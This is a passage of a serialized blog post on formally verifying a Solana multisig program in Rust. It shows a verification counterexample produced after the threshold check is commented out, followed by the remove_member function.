}\n",[24347],{"type":23,"tag":94,"props":24348,"children":24349},{"__ignoreMap":7},[24350,24358,24366],{"type":23,"tag":314,"props":24351,"children":24352},{"class":316,"line":317},[24353],{"type":23,"tag":314,"props":24354,"children":24355},{"style":374},[24356],{"type":28,"value":24357},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":314,"props":24359,"children":24360},{"class":316,"line":370},[24361],{"type":23,"tag":314,"props":24362,"children":24363},{"style":374},[24364],{"type":28,"value":24365},"// return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":314,"props":24367,"children":24368},{"class":316,"line":380},[24369],{"type":23,"tag":314,"props":24370,"children":24371},{"style":374},[24372],{"type":28,"value":24373},"// }\n",{"type":23,"tag":24,"props":24375,"children":24376},{},[24377],{"type":28,"value":24378},"And run again:",{"type":23,"tag":304,"props":24380,"children":24382},{"code":24381},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[24383],{"type":23,"tag":94,"props":24384,"children":24385},{"__ignoreMap":7},[24386],{"type":28,"value":24381},{"type":23,"tag":24,"props":24388,"children":24389},{},[24390],{"type":28,"value":24391},"We get the following counterexample:",{"type":23,"tag":304,"props":24393,"children":24395},{"code":24394,"language":2233,"meta":7,"className":2234,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[24396],{"type":23,"tag":94,"props":24397,"children":24398},{"__ignoreMap":7},[24399,24410,24430,24450,24470,24490,24510,24530,24550,24570,24591,24612,24620,24628,24658],{"type":23,"tag":314,"props":24400,"children":24401},{"class":316,"line":317},[24402,24406],{"type":23,"tag":314,"props":24403,"children":24404},{"style":2674},[24405],{"type":28,"value":16385},{"type":23,"tag":314,"props":24407,"children":24408},{"style":338},[24409],{"type":28,"value":1449},{"type":23,"tag":314,"props":24411,"children":24412},{"class":316,"line":370},[24413,24418,24422,24426],{"type":23,"tag":314,"props":24414,"children":24415},{"style":360},[24416],{"type":28,"value":24417}," account",{"type":23,"tag":314,"props":24419,"children":24420},{"style":354},[24421],{"type":28,"value":3746},{"type":23,"tag":314,"props":24423,"children":24424},{"style":2674},[24425],{"type":28,"value":20393},{"type":23,"tag":314,"props":24427,"children":24428},{"style":338},[24429],{"type":28,"value":1449},{"type":23,"tag":314,"props":24431,"children":24432},{"class":316,"line":380},[24433,24437,24441,24446],{"type":23,"tag":314,"props":24434,"children":24435},{"style":360},[24436],{"type":28,"value":23071},{"type":23,"tag":314,"props":24438,"children":24439},{"style":354},[24440],{"type":28,"value":3746},{"type":23,"tag":314,"props":24442,"children":24443},{"style":1054},[24444],{"type":28,"value":24445}," 32768",{"type":23,"tag":314,"props":24447,"children":24448},{"style":338},[24449],{"type":28,"value":1870},{"type":23,"tag":314,"props":24451,"children":24452},{"class":316,"line":1091},[24453,24458,24462,24466],{"type":23,"tag":314,"props":24454,"children":24455},{"style":360},[24456],{"type":28,"value":24457}," authority_index",{"type":23,"tag":314,"props":24459,"children":24460},{"style":354},[24461],{"type":28,"value":3746},{"type":23,"tag":314,"props":24463,"children":24464},{"style":1054},[24465],{"type":28,"value":3778},{"type":23,"tag":314,"props":24467,"children":24468},{"style":338},[24469],{"type":28,"value":1870},{"type":23,"tag":314,"props":24471,"children":24472},{"class":316,"line":1141},[24473,24478,24482,24486],{"type":23,"tag":314,"props":24474,"children":24475},{"style":360},[24476],{"type":28,"value":24477}," transaction_index",{"type":23,"tag":314,"props":24479,"children":24480},{"style":354},[24481],{"type":28,"value":3746},{"type":23,"tag":314,"props":24483,"children":24484},{"style":1054},[24485],{"type":28,"value":1201},{"type":23,"tag":314,"props":24487,"children":24488},{"style":338},[24489],{"type":28,"value":1870},{"type":23,"tag":314,"props":24491,"children":24492},{"class":316,"line":1173},[24493,24498,24502,24506],{"type":23,"tag":314,"props":24494,"children":24495},{"style":360},[24496],{"type":28,"value":24497}," ms_change_index",{"type":23,"tag":314,"props":24499,"children":24500},{"style":354},[24501],{"type":28,"value":3746},{"type":23,"tag":314,"props":24503,"children":24504},{"style":1054},[24505],{"type":28,"value":1201},{"type":23,"tag":314,"props":24507,"children":24508},{"style":338},[24509],{"type":28,"value":1870},{"type":23,"tag":314,"props":24511,"children":24512},{"class":316,"line":1208},[24513,24518,24522,24526],{"type":23,"tag":314,"props":24514,"children":24515},{"style":360},[24516],{"type":28,"value":24517}," bump",{"type":23,"tag":314,"props":24519,"children":24520},{"style":354},[24521],{"type":28,"value":3746},{"type":23,"tag":314,"props":24523,"children":24524},{"style":1054},[24525],{"type":28,"value":1201},{"type":23,"tag":314,"props":24527,"children":24528},{"style":338},[24529],{"type":28,"value":1870},{"type":23,"tag":314,"props":24531,"children":24532},{"class":316,"line":1216},[24533,24537,24541,24546],{"type":23,"tag":314,"props":24534,"children":24535},{"style":360},[24536],{"type":28,"value":23084},{"type":23,"tag":314,"props":24538,"children":24539},{"style":354},[24540],{"type":28,"value":3746},{"type":23,"tag":314,"props":24542,"children":24543},{"style":354},[24544],{"type":28,"value":24545}," ...",{"type":23,"tag":314,"props":24547,"children":24548},{"style":338},[24549],{"type":28,"value":1870},{"type":23,"tag":314,"props":24551,"children":24552},{"class":316,"line":1301},[24553,24558,24562,24566],{"type":23,"tag":314,"props":24554,"children":24555},{"style":360},[24556],{"type":28,"value":24557}," allow_external_execute",{"type":23,"tag":314,"props":24559,"children":24560},{"style":354},[24561],{"type":28,"value":3746},{"type":23,"tag":314,"props":24563,"children":24564},{"style":321},[24565],{"type":28,"value":8309},{"type":23,"tag":314,"props":24567,"children":24568},{"style":338},[24569],{"type":28,"value":1870},{"type":23,"tag":314,"props":24571,"children":24572},{"class":316,"line":1343},[24573,24578,24582,24587],{"type":23,"tag":314,"props":24574,"children":24575},{"style":360},[24576],{"type":28,"value":24577}," keys",{"type":23,"tag":314,"props":24579,"children":24580},{"style":354},[24581],{"type":28,"value":3746},{"type":23,"tag":314,"props":24583,"children":24584},{"style":2674},[24585],{"type":28,"value":24586}," SparseVec",{"type":23,"tag":314,"props":24588,"children":24589},{"style":338},[24590],{"type":28,"value":1449},{"type":23,"tag":314,"props":24592,"children":24593},{"class":316,"line":1351},[24594,24599,24603,24608],{"type":23,"tag":314,"props":24595,"children":24596},{"style":360},[24597],{"type":28,"value":24598}," size",{"type":23,"tag":314,"props":24600,"children":24601},{"style":354},[24602],{"type":28,"value":3746},{"type":23,"tag":314,"props":24604,"children":24605},{"style":1054},[24606],{"type":28,"value":24607}," 5112",{"type":23,"tag":314,"props":24609,"children":24610},{"style":338},[24611],{"type":28,"value":1870},{"type":23,"tag":314,"props":24613,"children":24614},{"class":316,"line":1387},[24615],{"type":23,"tag":314,"props":24616,"children":24617},{"style":338},[24618],{"type":28,"value":24619}," },\n",{"type":23,"tag":314,"props":24621,"children":24622},{"class":316,"line":1422},[24623],{"type":23,"tag":314,"props":24624,"children":24625},{"style":338},[24626],{"type":28,"value":24627}," },\n",{"type":23,"tag":314,"props":24629,"children":24630},{"class":316,"line":1430},[24631,24636,24640,24645,24649,24653],{"type":23,"tag":314,"props":24632,"children":24633},{"style":360},[24634],{"type":28,"value":24635}," info",{"type":23,"tag":314,"props":24637,"children":24638},{"style":354},[24639],{"type":28,"value":3746},{"type":23,"tag":314,"props":24641,"children":24642},{"style":2674},[24643],{"type":28,"value":24644}," AccountInfo",{"type":23,"tag":314,"props":24646,"children":24647},{"style":338},[24648],{"type":28,"value":1242},{"type":23,"tag":314,"props":24650,"children":24651},{"style":354},[24652],{"type":28,"value":8840},{"type":23,"tag":314,"props":24654,"children":24655},{"style":338},[24656],{"type":28,"value":24657}," },\n",{"type":23,"tag":314,"props":24659,"children":24660},{"class":316,"line":1452},[24661],{"type":23,"tag":314,"props":24662,"children":24663},{"style":338},[24664],{"type":28,"value":386},{"type":23,"tag":24,"props":24666,"children":24667},{},[24668,24670,24675,24677,24682],{"type":28,"value":24669},"Here we see that the ",{"type":23,"tag":94,"props":24671,"children":24673},{"className":24672},[],[24674],{"type":28,"value":21987},{"type":28,"value":24676}," of the newly created ",{"type":23,"tag":94,"props":24678,"children":24680},{"className":24679},[],[24681],{"type":28,"value":21979},{"type":28,"value":24683}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":837,"props":24685,"children":24687},{"id":24686},"verify-requirements-to-remove-a-member",[24688],{"type":28,"value":22017},{"type":23,"tag":24,"props":24690,"children":24691},{},[24692,24694,24699,24700,24705,24707,24713],{"type":28,"value":24693},"Now that we've seen both ",{"type":23,"tag":94,"props":24695,"children":24697},{"className":24696},[],[24698],{"type":28,"value":19392},{"type":28,"value":557},{"type":23,"tag":94,"props":24701,"children":24703},{"className":24702},[],[24704],{"type":28,"value":21015},{"type":28,"value":24706}," let's take a look at the ",{"type":23,"tag":94,"props":24708,"children":24710},{"className":24709},[],[24711],{"type":28,"value":24712},"remove_member",{"type":28,"value":24714}," function:",{"type":23,"tag":304,"props":24716,"children":24718},{"code":24717,"language":2233,"meta":7,"className":2234,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[24719],{"type":23,"tag":94,"props":24720,"children":24721},{"__ignoreMap":7},[24722,24745,24773,24788,24833,24840,24852,24868,24880,24906,24914,24943,24950,24982,24989,24996,25070,25078,25138,25170,25177,25228,25235,25243,25336,25425,25479,25486,25531,25576],{"type":23,"tag":314,"props":24723,"children":24724},{"class":316,"line":317},[24725,24729,24733,24737,24741],{"type":23,"tag":314,"props":24726,"children":24727},{"style":338},[24728],{"type":28,"value":22075},{"type":23,"tag":314,"props":24730,"children":24731},{"style":2674},[24732],{"type":28,"value":22080},{"type":23,"tag":314,"props":24734,"children":24735},{"style":338},[24736],{"type":28,"value":778},{"type":23,"tag":314,"props":24738,"children":24739},{"style":2674},[24740],{"type":28,"value":23956},{"type":23,"tag":314,"props":24742,"children":24743},{"style":338},[24744],{"type":28,"value":19496},{"type":23,"tag":314,"props":24746,"children":24747},{"class":316,"line":370},[24748,24752,24756,24761,24765,24769],{"type":23,"tag":314,"props":24749,"children":24750},{"style":321},[24751],{"type":28,"value":12938},{"type":23,"tag":314,"props":24753,"children":24754},{"style":321},[24755],{"type":28,"value":20388},{"type":23,"tag":314,"props":24757,"children":24758},{"style":2674},[24759],{"type":28,"value":24760}," MsAuth",{"type":23,"tag":314,"props":24762,"children":24763},{"style":338},[24764],{"type":28,"value":22160},{"type":23,"tag":314,"props":24766,"children":24767},{"style":2674},[24768],{"type":28,"value":22165},{"type":23,"tag":314,"props":24770,"children":24771},{"style":338},[24772],{"type":28,"value":6536},{"type":23,"tag":314,"props":24774,"children":24775},{"class":316,"line":380},[24776,24780,24784],{"type":23,"tag":314,"props":24777,"children":24778},{"style":338},[24779],{"type":28,"value":22367},{"type":23,"tag":314,"props":24781,"children":24782},{"style":321},[24783],{"type":28,"value":2979},{"type":23,"tag":314,"props":24785,"children":24786},{"style":338},[24787],{"type":28,"value":19496},{"type":23,"tag":314,"props":24789,"children":24790},{"class":316,"line":1091},[24791,24796,24800,24805,24809,24813,24817,24821,24825,24829],{"type":23,"tag":314,"props":24792,"children":24793},{"style":360},[24794],{"type":28,"value":24795}," multisig",{"type":23,"tag":314,"props":24797,"children":24798},{"style":354},[24799],{"type":28,"value":3746},{"type":23,"tag":314,"props":24801,"children":24802},{"style":2674},[24803],{"type":28,"value":24804}," Box",{"type":23,"tag":314,"props":24806,"children":24807},{"style":338},[24808],{"type":28,"value":5060},{"type":23,"tag":314,"props":24810,"children":24811},{"style":2674},[24812],{"type":28,"value":16385},{"type":23,"tag":314,"props":24814,"children":24815},{"style":338},[24816],{"type":28,"value":22160},{"type":23,"tag":314,"props":24818,"children":24819},{"style":2674},[24820],{"type":28,"value":22165},{"type":23,"tag":314,"props":24822,"children":24823},{"style":338},[24824],{"type":28,"value":778},{"type":23,"tag":314,"props":24826,"children":24827},{"style":2674},[24828],{"type":28,"value":21979},{"type":23,"tag":314,"props":24830,"children":24831},{"style":338},[24832],{"type":28,"value":6207},{"type":23,"tag":314,"props":24834,"children":24835},{"class":316,"line":1141},[24836],{"type":23,"tag":314,"props":24837,"children":24838},{"style":338},[24839],{"type":28,"value":22177},{"type":23,"tag":314,"props":24841,"children":24842},{"class":316,"line":1173},[24843,24848],{"type":23,"tag":314,"props":24844,"children":24845},{"style":321},[24846],{"type":28,"value":24847}," mut",{"type":23,"tag":314,"props":24849,"children":24850},{"style":338},[24851],{"type":28,"value":1870},{"type":23,"tag":314,"props":24853,"children":24854},{"class":316,"line":1208},[24855,24859,24863],{"type":23,"tag":314,"props":24856,"children":24857},{"style":338},[24858],{"type":28,"value":22261},{"type":23,"tag":314,"props":24860,"children":24861},{"style":354},[24862],{"type":28,"value":1102},{"type":23,"tag":314,"props":24864,"children":24865},{"style":338},[24866],{"type":28,"value":24867}," [\n",{"type":23,"tag":314,"props":24869,"children":24870},{"class":316,"line":1216},[24871,24876],{"type":23,"tag":314,"props":24872,"children":24873},{"style":1245},[24874],{"type":28,"value":24875}," b\"squad\"",{"type":23,"tag":314,"props":24877,"children":24878},{"style":338},[24879],{"type":28,"value":1870},{"type":23,"tag":314,"props":24881,"children":24882},{"class":316,"line":1301},[24883,24888,24892,24897,24901],{"type":23,"tag":314,"props":24884,"children":24885},{"style":338},[24886],{"type":28,"value":24887}," multisig",{"type":23,"tag":314,"props":24889,"children":24890},{"style":354},[24891],{"type":28,"value":282},{"type":23,"tag":314,"props":24893,"children":24894},{"style":338},[24895],{"type":28,"value":24896},"create_key",{"type":23,"tag":314,"props":24898,"children":24899},{"style":354},[24900],{"type":28,"value":282},{"type":23,"tag":314,"props":24902,"children":24903},{"style":338},[24904],{"type":28,"value":24905},"as_ref(),\n",{"type":23,"tag":314,"props":24907,"children":24908},{"class":316,"line":1343},[24909],{"type":23,"tag":314,"props":24910,"children":24911},{"style":1245},[24912],{"type":28,"value":24913}," b\"multisig\"\n",{"type":23,"tag":314,"props":24915,"children":24916},{"class":316,"line":1351},[24917,24922,24927,24931,24935,24939],{"type":23,"tag":314,"props":24918,"children":24919},{"style":338},[24920],{"type":28,"value":24921}," ], ",{"type":23,"tag":314,"props":24923,"children":24924},{"style":360},[24925],{"type":28,"value":24926},"bump",{"type":23,"tag":314,"props":24928,"children":24929},{"style":354},[24930],{"type":28,"value":1237},{"type":23,"tag":314,"props":24932,"children":24933},{"style":360},[24934],{"type":28,"value":22323},{"type":23,"tag":314,"props":24936,"children":24937},{"style":354},[24938],{"type":28,"value":282},{"type":23,"tag":314,"props":24940,"children":24941},{"style":338},[24942],{"type":28,"value":22303},{"type":23,"tag":314,"props":24944,"children":24945},{"class":316,"line":1387},[24946],{"type":23,"tag":314,"props":24947,"children":24948},{"style":338},[24949],{"type":28,"value":22311},{"type":23,"tag":314,"props":24951,"children":24952},{"class":316,"line":1422},[24953,24957,24962,24966,24970,24974,24978],{"type":23,"tag":314,"props":24954,"children":24955},{"style":321},[24956],{"type":28,"value":20080},{"type":23,"tag":314,"props":24958,"children":24959},{"style":360},[24960],{"type":28,"value":24961}," multisig_auth",{"type":23,"tag":314,"props":24963,"children":24964},{"style":354},[24965],{"type":28,"value":3746},{"type":23,"tag":314,"props":24967,"children":24968},{"style":2674},[24969],{"type":28,"value":22396},{"type":23,"tag":314,"props":24971,"children":24972},{"style":338},[24973],{"type":28,"value":22160},{"type":23,"tag":314,"props":24975,"children":24976},{"style":2674},[24977],{"type":28,"value":22165},{"type":23,"tag":314,"props":24979,"children":24980},{"style":338},[24981],{"type":28,"value":5393},{"type":23,"tag":314,"props":24983,"children":24984},{"class":316,"line":1430},[24985],{"type":23,"tag":314,"props":24986,"children":24987},{"style":338},[24988],{"type":28,"value":386},{"type":23,"tag":314,"props":24990,"children":24991},{"class":316,"line":1452},[24992],{"type":23,"tag":314,"props":24993,"children":24994},{"emptyLinePlaceholder":18},[24995],{"type":28,"value":1088},{"type":23,"tag":314,"props":24997,"children":24998},{"class":316,"line":1497},[24999,25003,25007,25012,25016,25020,25024,25028,25032,25037,25041,25046,25050,25054,25058,25062,25066],{"type":23,"tag":314,"props":25000,"children":25001},{"style":321},[25002],{"type":28,"value":12938},{"type":23,"tag":314,"props":25004,"children":25005},{"style":321},[25006],{"type":28,"value":12943},{"type":23,"tag":314,"props":25008,"children":25009},{"style":332},[25010],{"type":28,"value":25011}," remove_member",{"type":23,"tag":314,"props":25013,"children":25014},{"style":338},[25015],{"type":28,"value":341},{"type":23,"tag":314,"props":25017,"children":25018},{"style":360},[25019],{"type":28,"value":19518},{"type":23,"tag":314,"props":25021,"children":25022},{"style":354},[25023],{"type":28,"value":3746},{"type":23,"tag":314,"props":25025,"children":25026},{"style":2674},[25027],{"type":28,"value":19527},{"type":23,"tag":314,"props":25029,"children":25030},{"style":338},[25031],{"type":28,"value":5060},{"type":23,"tag":314,"props":25033,"children":25034},{"style":2674},[25035],{"type":28,"value":25036},"MsAuth",{"type":23,"tag":314,"props":25038,"children":25039},{"style":338},[25040],{"type":28,"value":5886},{"type":23,"tag":314,"props":25042,"children":25043},{"style":360},[25044],{"type":28,"value":25045},"old_member",{"type":23,"tag":314,"props":25047,"children":25048},{"style":354},[25049],{"type":28,"value":3746},{"type":23,"tag":314,"props":25051,"children":25052},{"style":2674},[25053],{"type":28,"value":20094},{"type":23,"tag":314,"props":25055,"children":25056},{"style":338},[25057],{"type":28,"value":2343},{"type":23,"tag":314,"props":25059,"children":25060},{"style":354},[25061],{"type":28,"value":1015},{"type":23,"tag":314,"props":25063,"children":25064},{"style":2674},[25065],{"type":28,"value":13009},{"type":23,"tag":314,"props":25067,"children":25068},{"style":338},[25069],{"type":28,"value":19569},{"type":23,"tag":314,"props":25071,"children":25072},{"class":316,"line":1539},[25073],{"type":23,"tag":314,"props":25074,"children":25075},{"style":374},[25076],{"type":28,"value":25077}," // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":314,"props":25079,"children":25080},{"class":316,"line":1548},[25081,25085,25090,25094,25098,25102,25106,25110,25114,25118,25122,25126,25130,25134],{"type":23,"tag":314,"props":25082,"children":25083},{"style":2284},[25084],{"type":28,"value":11527},{"type":23,"tag":314,"props":25086,"children":25087},{"style":360},[25088],{"type":28,"value":25089}," ctx",{"type":23,"tag":314,"props":25091,"children":25092},{"style":354},[25093],{"type":28,"value":282},{"type":23,"tag":314,"props":25095,"children":25096},{"style":338},[25097],{"type":28,"value":238},{"type":23,"tag":314,"props":25099,"children":25100},{"style":354},[25101],{"type":28,"value":282},{"type":23,"tag":314,"props":25103,"children":25104},{"style":338},[25105],{"type":28,"value":23050},{"type":23,"tag":314,"props":25107,"children":25108},{"style":354},[25109],{"type":28,"value":282},{"type":23,"tag":314,"props":25111,"children":25112},{"style":338},[25113],{"type":28,"value":20220},{"type":23,"tag":314,"props":25115,"children":25116},{"style":354},[25117],{"type":28,"value":282},{"type":23,"tag":314,"props":25119,"children":25120},{"style":332},[25121],{"type":28,"value":8389},{"type":23,"tag":314,"props":25123,"children":25124},{"style":338},[25125],{"type":28,"value":13290},{"type":23,"tag":314,"props":25127,"children":25128},{"style":354},[25129],{"type":28,"value":7828},{"type":23,"tag":314,"props":25131,"children":25132},{"style":1054},[25133],{"type":28,"value":3778},{"type":23,"tag":314,"props":25135,"children":25136},{"style":338},[25137],{"type":28,"value":1449},{"type":23,"tag":314,"props":25139,"children":25140},{"class":316,"line":1584},[25141,25145,25149,25153,25157,25161,25166],{"type":23,"tag":314,"props":25142,"children":25143},{"style":2284},[25144],{"type":28,"value":14985},{"type":23,"tag":314,"props":25146,"children":25147},{"style":332},[25148],{"type":28,"value":22756},{"type":23,"tag":314,"props":25150,"children":25151},{"style":338},[25152],{"type":28,"value":341},{"type":23,"tag":314,"props":25154,"children":25155},{"style":2674},[25156],{"type":28,"value":22765},{"type":23,"tag":314,"props":25158,"children":25159},{"style":354},[25160],{"type":28,"value":2737},{"type":23,"tag":314,"props":25162,"children":25163},{"style":2674},[25164],{"type":28,"value":25165},"CannotRemoveSoloMember",{"type":23,"tag":314,"props":25167,"children":25168},{"style":338},[25169],{"type":28,"value":1025},{"type":23,"tag":314,"props":25171,"children":25172},{"class":316,"line":1617},[25173],{"type":23,"tag":314,"props":25174,"children":25175},{"style":338},[25176],{"type":28,"value":2610},{"type":23,"tag":314,"props":25178,"children":25179},{"class":316,"line":1625},[25180,25184,25188,25192,25196,25200,25204,25208,25212,25216,25220,25224],{"type":23,"tag":314,"props":25181,"children":25182},{"style":360},[25183],{"type":28,"value":19461},{"type":23,"tag":314,"props":25185,"children":25186},{"style":354},[25187],{"type":28,"value":282},{"type":23,"tag":314,"props":25189,"children":25190},{"style":338},[25191],{"type":28,"value":238},{"type":23,"tag":314,"props":25193,"children":25194},{"style":354},[25195],{"type":28,"value":282},{"type":23,"tag":314,"props":25197,"children":25198},{"style":338},[25199],{"type":28,"value":23050},{"type":23,"tag":314,"props":25201,"children":25202},{"style":354},[25203],{"type":28,"value":282},{"type":23,"tag":314,"props":25205,"children":25206},{"style":332},[25207],{"type":28,"value":24712},{"type":23,"tag":314,"props":25209,"children":25210},{"style":338},[25211],{"type":28,"value":341},{"type":23,"tag":314,"props":25213,"children":25214},{"style":360},[25215],{"type":28,"value":25045},{"type":23,"tag":314,"props":25217,"children":25218},{"style":338},[25219],{"type":28,"value":431},{"type":23,"tag":314,"props":25221,"children":25222},{"style":354},[25223],{"type":28,"value":2409},{"type":23,"tag":314,"props":25225,"children":25226},{"style":338},[25227],{"type":28,"value":2278},{"type":23,"tag":314,"props":25229,"children":25230},{"class":316,"line":1660},[25231],{"type":23,"tag":314,"props":25232,"children":25233},{"emptyLinePlaceholder":18},[25234],{"type":28,"value":1088},{"type":23,"tag":314,"props":25236,"children":25237},{"class":316,"line":1708},[25238],{"type":23,"tag":314,"props":25239,"children":25240},{"style":374},[25241],{"type":28,"value":25242}," // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":314,"props":25244,"children":25245},{"class":316,"line":1743},[25246,25250,25254,25258,25262,25266,25270,25274,25278,25282,25286,25291,25295,25299,25303,25307,25311,25315,25319,25323,25327,25331],{"type":23,"tag":314,"props":25247,"children":25248},{"style":2284},[25249],{"type":28,"value":11527},{"type":23,"tag":314,"props":25251,"children":25252},{"style":360},[25253],{"type":28,"value":25089},{"type":23,"tag":314,"props":25255,"children":25256},{"style":354},[25257],{"type":28,"value":282},{"type":23,"tag":314,"props":25259,"children":25260},{"style":338},[25261],{"type":28,"value":238},{"type":23,"tag":314,"props":25263,"children":25264},{"style":354},[25265],{"type":28,"value":282},{"type":23,"tag":314,"props":25267,"children":25268},{"style":338},[25269],{"type":28,"value":23050},{"type":23,"tag":314,"props":25271,"children":25272},{"style":354},[25273],{"type":28,"value":282},{"type":23,"tag":314,"props":25275,"children":25276},{"style":338},[25277],{"type":28,"value":20220},{"type":23,"tag":314,"props":25279,"children":25280},{"style":354},[25281],{"type":28,"value":282},{"type":23,"tag":314,"props":25283,"children":25284},{"style":332},[25285],{"type":28,"value":8389},{"type":23,"tag":314,"props":25287,"children":25288},{"style":338},[25289],{"type":28,"value":25290},"() \u003C ",{"type":23,"tag":314,"props":25292,"children":25293},{"style":2674},[25294],{"type":28,"value":15841},{"type":23,"tag":314,"props":25296,"children":25297},{"style":354},[25298],{"type":28,"value":2737},{"type":23,"tag":314,"props":25300,"children":25301},{"style":332},[25302],{"type":28,"value":18711},{"type":23,"tag":314,"props":25304,"children":25305},{"style":338},[25306],{"type":28,"value":341},{"type":23,"tag":314,"props":25308,"children":25309},{"style":360},[25310],{"type":28,"value":19518},{"type":23,"tag":314,"props":25312,"children":25313},{"style":354},[25314],{"type":28,"value":282},{"type":23,"tag":314,"props":25316,"children":25317},{"style":338},[25318],{"type":28,"value":238},{"type":23,"tag":314,"props":25320,"children":25321},{"style":354},[25322],{"type":28,"value":282},{"type":23,"tag":314,"props":25324,"children":25325},{"style":338},[25326],{"type":28,"value":23050},{"type":23,"tag":314,"props":25328,"children":25329},{"style":354},[25330],{"type":28,"value":282},{"type":23,"tag":314,"props":25332,"children":25333},{"style":338},[25334],{"type":28,"value":25335},"threshold) {\n",{"type":23,"tag":314,"props":25337,"children":25338},{"class":316,"line":1751},[25339,25343,25348,25352,25356,25360,25364,25368,25372,25376,25380,25384,25388,25392,25396,25400,25404,25409,25413,25417,25421],{"type":23,"tag":314,"props":25340,"children":25341},{"style":321},[25342],{"type":28,"value":2319},{"type":23,"tag":314,"props":25344,"children":25345},{"style":360},[25346],{"type":28,"value":25347}," new_threshold",{"type":23,"tag":314,"props":25349,"children":25350},{"style":354},[25351],{"type":28,"value":3746},{"type":23,"tag":314,"props":25353,"children":25354},{"style":2674},[25355],{"type":28,"value":20267},{"type":23,"tag":314,"props":25357,"children":25358},{"style":354},[25359],{"type":28,"value":1237},{"type":23,"tag":314,"props":25361,"children":25362},{"style":360},[25363],{"type":28,"value":25089},{"type":23,"tag":314,"props":25365,"children":25366},{"style":354},[25367],{"type":28,"value":282},{"type":23,"tag":314,"props":25369,"children":25370},{"style":338},[25371],{"type":28,"value":238},{"type":23,"tag":314,"props":25373,"children":25374},{"style":354},[25375],{"type":28,"value":282},{"type":23,"tag":314,"props":25377,"children":25378},{"style":338},[25379],{"type":28,"value":23050},{"type":23,"tag":314,"props":25381,"children":25382},{"style":354},[25383],{"type":28,"value":282},{"type":23,"tag":314,"props":25385,"children":25386},{"style":338},[25387],{"type":28,"value":20220},{"type":23,"tag":314,"props":25389,"children":25390},{"style":354},[25391],{"type":28,"value":282},{"type":23,"tag":314,"props":25393,"children":25394},{"style":332},[25395],{"type":28,"value":8389},{"type":23,"tag":314,"props":25397,"children":25398},{"style":338},[25399],{"type":28,"value":13126},{"type":23,"tag":314,"props":25401,"children":25402},{"style":354},[25403],{"type":28,"value":282},{"type":23,"tag":314,"props":25405,"children":25406},{"style":332},[25407],{"type":28,"value":25408},"try_into",{"type":23,"tag":314,"props":25410,"children":25411},{"style":338},[25412],{"type":28,"value":13126},{"type":23,"tag":314,"props":25414,"children":25415},{"style":354},[25416],{"type":28,"value":282},{"type":23,"tag":314,"props":25418,"children":25419},{"style":332},[25420],{"type":28,"value":2921},{"type":23,"tag":314,"props":25422,"children":25423},{"style":338},[25424],{"type":28,"value":2926},{"type":23,"tag":314,"props":25426,"children":25427},{"class":316,"line":1791},[25428,25433,25437,25441,25445,25449,25453,25458,25462,25467,25471,25475],{"type":23,"tag":314,"props":25429,"children":25430},{"style":360},[25431],{"type":28,"value":25432}," ctx",{"type":23,"tag":314,"props":25434,"children":25435},{"style":354},[25436],{"type":28,"value":282},{"type":23,"tag":314,"props":25438,"children":25439},{"style":338},[25440],{"type":28,"value":238},{"type":23,"tag":314,"props":25442,"children":25443},{"style":354},[25444],{"type":28,"value":282},{"type":23,"tag":314,"props":25446,"children":25447},{"style":338},[25448],{"type":28,"value":23050},{"type":23,"tag":314,"props":25450,"children":25451},{"style":354},[25452],{"type":28,"value":282},{"type":23,"tag":314,"props":25454,"children":25455},{"style":332},[25456],{"type":28,"value":25457},"change_threshold",{"type":23,"tag":314,"props":25459,"children":25460},{"style":338},[25461],{"type":28,"value":341},{"type":23,"tag":314,"props":25463,"children":25464},{"style":360},[25465],{"type":28,"value":25466},"new_threshold",{"type":23,"tag":314,"props":25468,"children":25469},{"style":338},[25470],{"type":28,"value":431},{"type":23,"tag":314,"props":25472,"children":25473},{"style":354},[25474],{"type":28,"value":2409},{"type":23,"tag":314,"props":25476,"children":25477},{"style":338},[25478],{"type":28,"value":2278},{"type":23,"tag":314,"props":25480,"children":25481},{"class":316,"line":1805},[25482],{"type":23,"tag":314,"props":25483,"children":25484},{"style":338},[25485],{"type":28,"value":2610},{"type":23,"tag":314,"props":25487,"children":25488},{"class":316,"line":1818},[25489,25493,25498,25502,25506,25510,25514,25518,25522,25526],{"type":23,"tag":314,"props":25490,"children":25491},{"style":321},[25492],{"type":28,"value":2254},{"type":23,"tag":314,"props":25494,"children":25495},{"style":360},[25496],{"type":28,"value":25497}," 